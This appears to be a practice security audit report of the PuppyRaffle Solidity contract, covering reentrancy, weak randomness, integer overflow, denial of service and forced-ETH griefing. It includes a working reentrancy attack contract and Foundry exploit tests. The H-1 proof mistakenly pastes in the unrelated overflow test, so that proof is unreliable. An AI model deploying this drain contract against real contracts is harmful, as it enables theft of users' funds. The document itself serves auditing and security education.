Protocol Audit Report

Version 1.0

Rick.io

March 14, 2024

Protocol Audit Report

Rick.io

March 14, 2024

Prepared by: Rick Lead Auditors:

- Rick

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
  - Issues found
- Findings
- High
  - [H-1] Reentrancy attack in `PuppyRaffle::refund`, allows entrants to drain contract balance
  - [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner
  - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
- Medium

- [M-1] Looping through players array to check for duplicate in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants
- [M-2] Balance Check on `PuppyRaffle::withdrawFees` enables griefers to `selfdestruct` a contract to send ETH to the raffle, blocking withdrawals
- [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

- Informational
  - [I-1] Floating pragmas
  - [I-2] Magic numbers
  - [I-3] Test coverage
  - [I-4] Zero address validation
  - [I-5] `_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of friends
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. After every `X` seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy

Disclaimer

Rick's team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsability for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	3
Low	0
Info	5
Total	11

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund`, allows entrants to drain contract balance

Description: The `PuppyRaffle::refund` function doesn't follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>  payable(msg.sender).sendValue(entranceFee);
7  @>  players[playerIndex] = address(0);
8      emit RaffleRefunded(playerAddress);
9  }
```

In the `PuppyRaffle::refund` function, we first make an external call to the msg.sender address, and only after making that external call, we update `players` array.

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle:refund` in a cycle and claim another refund.

Impact: All fees paid by raffle entrants could be stolen by the malicious participants.

Proof of Concept:

1. Users enter the raffle
2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund`
3. Attacker enters the raffle

4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance

Proof of Code

```
function test_totalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1 );
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    console.log("Starting fees: ", startingTotalFees);

    // Then let's enter 89 more players
    uint256 playersLength = 89;
    address[] memory playersSecondBatch = new address[](playersLength);
    for (uint256 i = 0; i < playersLength; i ++) {
        playersSecondBatch[i] = address(uint160(i));
    }

    puppyRaffle.enterRaffle{ value: entranceFee * playersLength } (
        playersSecondBatch);
    // End the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    // And now check collected fees
    uint256 endTotalFees = puppyRaffle.totalFees();
    console.log ("Ending fees: ", endTotalFees);
    assert(endTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
        check
    console.log("Contract balance: ", address(puppyRaffle).balance);
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}

contract ReentrancyAttack {
    PuppyRaffle internal s_puppyRaffle;
    uint256 internal s_attackerIdx;

    uint256 s_entranceFee;

    constructor (PuppyRaffle _puppyRaffle) {
        s_puppyRaffle = _puppyRaffle;
        s_entranceFee = s_puppyRaffle.entranceFee();
```

```
45      }
46
47      function attack() external payable {
48          address[] memory players = new address[](1);
49          players[0] = address(this);
50
51          s_puppyRaffle.enterRaffle{ value: s_entranceFee }(players);
52
53          s_attackerIdx = s_puppyRaffle.getActivePlayerIndex(address(this
                ));
54          s_puppyRaffle.refund(s_attackerIdx);
55      }
56
57      function _stealMoney() internal {
58          if (address(s_puppyRaffle).balance >= s_entranceFee) {
59              s_puppyRaffle.refund(s_attackerIdx);
60          }
61      }
62
63      fallback() external payable {
64          _stealMoney();
65      }
66
67      receive() external payable {
68          _stealMoney();
69      }
70  }
```

Recommended Mitigation: To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission on top

```
1
2   function refund(uint256 playerIndex) public {
3       address playerAddress = players[playerIndex];
4       require(playerAddress == msg.sender, "PuppyRaffle: Only the player
            can refund");
5       require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
6
7   +   players[playerIndex] = address(0);
8   +   emit RaffleRefunded(playerAddress);
9
10      payable(msg.sender).sendValue(entranceFee);
11
12  -   players[playerIndex] = address(0);
13  -   emit RaffleRefunded(playerAddress);
14  }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable final number is not a good number. Malicious users can manipulate these values to choose the winner to the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, esentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept: There a few attack vector here

1. Validators can slightly manipulate the `block.timestamp` and `block.difficulty` in an effort to result in their index being the winner
2. Users can manipulate `msg.sender` value to result in their index being the winner

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
1 uint64 test = type(uint64).max;
2 test = test + 1; // this will overflow back to 0
```

Impact: In `PuppyRaffle::selectWinner`, the fees are accumulated in a variable `totalFees` for the `feeAddress` to collect later in the `PuppyRaffle::withdrawFees`. However, if the `totalFees` surpasses the max threshold imposed by the type type & compiler (solc < .8), the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well
3. `totalFees` will be

```
1 totalFees = totalFees + uint64(fee);
2 totalFees = 800000000000000000 + 17800000000000000000;
3 // due to overflow this will be a smaller value
4 totalFees = 153255926290448384;
```

4. We won't be able to withdraw, because of this line in `PuppyRaffle::withdrawFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We could `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, but this is clearly not what the protocol is intended to do.

Place this into the `PuppyRaffleTest.t.sol`

Proof of Code

```
function test_totalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1 );
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    console.log("Starting fees: ", startingTotalFees);

    // Then let's enter 89 more players
    uint256 playersLength = 89;
    address[] memory playersSecondBatch = new address[](playersLength);
    for (uint256 i = 0; i < playersLength; i ++) {
        playersSecondBatch[i] = address(uint160(i));
    }

    puppyRaffle.enterRaffle{ value: entranceFee * playersLength } (
        playersSecondBatch);
    // End the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    // And now check collected fees
    uint256 endTotalFees = puppyRaffle.totalFees();
    console.log ("Ending fees: ", endTotalFees);
    assert(endTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
        check
    console.log("Contract balance: ", address(puppyRaffle).balance);
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: There are a few recommended mitigations here

1. Use a newer version of solidity that doesn't have integer overflows

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of `uint64` for `totalFees`

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicate in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants

IMPACT: MEDIUM **LIKELIHOOD**: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter early into the raffle will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit Potential DoS Attack
@>  for (uint256 i = 0; i < players.length - 1; i++) {
     for (uint256 j = i + 1; j < players.length; j++) {
       require(players[i] != players[j], "PuppyRaffle: Duplicate player
          ");
    }
}
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might exhaust the initial places in the `PuppyRaffle::players` array, guarenteeing themselves the win.

Proof of Concept:

Assume an example where we have two batches of players joining of 100 each, the gas cost will be as such:

- Gas cost for first 100 players: 6_252_039
- Gas cost for second 100 players: 18_068_129

This is 3x times more expensive for the second batch. NOTE: This was simulated using a static low transaction gas price of `vm.txGasPrice(1)`

Proof of code

```
// Tests the gas cost implications of a Denial of Service (DoS) attack through mass participation in a raffle.
function test_denialOfServiceAttack() public {
    // Set a low transaction gas price for testing
    vm.txGasPrice(1);
    // Define the number of players in each batch
    uint256 batchSize = 100;

    // Initialize the first batch of player addresses
    address[] memory firstBatchPlayers = new address[](batchSize);
    for (uint256 i = 0; i < batchSize; i++) {
        firstBatchPlayers[i] = address(uint160(i));
    }

    uint256 gasBeforeFirstBatch = gasleft();
    puppyRaffle.enterRaffle{ value: entranceFee * batchSize } (firstBatchPlayers);
    uint256 gasAfterFirstBatch = gasleft();
    uint256 gasUsedByFirstBatch = (gasBeforeFirstBatch - gasAfterFirstBatch) * tx.gasprice;
    console.log("Gas cost for first 100 players: ", gasUsedByFirstBatch);

    // Initialize the second batch of player addresses
    address[] memory secondBatchPlayers = new address[](batchSize);
    for (uint256 i = 0; i < batchSize; i++) {
        secondBatchPlayers[i] = address(uint160(i + batchSize));
    }

    uint256 gasBeforeSecondBatch = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * batchSize}(secondBatchPlayers);
    uint256 gasAfterSecondBatch = gasleft();
    uint256 gasUsedBySecondBatch = (gasBeforeSecondBatch - gasAfterSecondBatch) * tx.gasprice;
```

```
30      console.log("Gas cost for second 100 players: ",
            gasUsedBySecondBatch);
31
32      // Assert that entering the second batch uses more gas than the
            first batch,
33      // indicating a potential DoS attack vector as more participants
            join.
34      assert(gasUsedBySecondBatch > gasUsedByFirstBatch);
35  }
```

Recommended Mitigation: There are a few recommendations

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet.
2. Consider using a mapping to check for duplicates. This will allow constant time lookup of whether a user has already connected Alterantively, you could use [OpenZeppelin's `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).

[M-2] Balance Check on `PuppyRaffle::withdrawFees` enables griefers to `selfdestruct` a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or receive function, you would think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1  /// @notice this function will withdraw the fees to the feeAddress
2  function withdrawFees() external {
3  @>  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
4      uint256 feesToWithdraw = totalFees;
5      totalFees = 0;
6
7      (bool success,) = feeAddress.call{value: feesToWithdraw}("");
8      require(success, "PuppyRaffle: Failed to withdraw fees");
9  }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees
2. Malicious user sends 1 wei via selfdestruct

3. `feeAddress` is no longer able to withdraw funds

Recommended mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will wrap around.

```

function selectWinner() external {
    ..........................
@>  totalFees = totalFees + uint64(fee);
    uint256 tokenId = totalSupply();
    ..........................
  }
```

The maximum value of a `type(uint64).max` is ~18ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will trunc the value.

Impact: This means that the `feeAddress` will not collect amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max;
uint256 fee = max + 1;
uint64(fee) // 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a uint256 instead of a uint64, and remove the casting. There is a comment which says

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth if we have to recast and this bug exists.

Informational

[I-1] Floating pragmas

Description: Contract should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version than they were tested with. An incorrect version could lead to unintended results.

Recommended Mitigation: Lock up the pragma versions

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants

```
+ uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+ uint256 public constant FEE_PERCENTAGE = 20;
+ uint256 public constant TOTAL_PERCENTAGE = 100;

- uint256 prizePool = (totalAmountCollected * 80) / 100;
+ uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    TOTAL_PERCENTAGE;
```

[I-3] Test coverage

Description: The test coverage is below 90%. This often means that there are parts of the system that are not tested.

File	% Lines	% Statements	% Branches	% Funcs
script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)	100.00% (0/0)	0.00% (0/1)
src/PuppyRaffle.sol	82.14% (46/56)	83.54% (66/79)	67.86% (19/28)	77.78% (7/9)
test/PuppyRaffleTest.t.sol	87.50% (7/8)	88.89% (8/9)	50.00% (1/2)	66.67% (2/3)
Total	79.10% (53/67)	80.43% (74/92)	66.67% (20/30)	69.23% (9/13)

Recommended Mitigation: Increase test coverage over 90%, especially for the `Branches` column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to zero address, and fees would be lost.

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed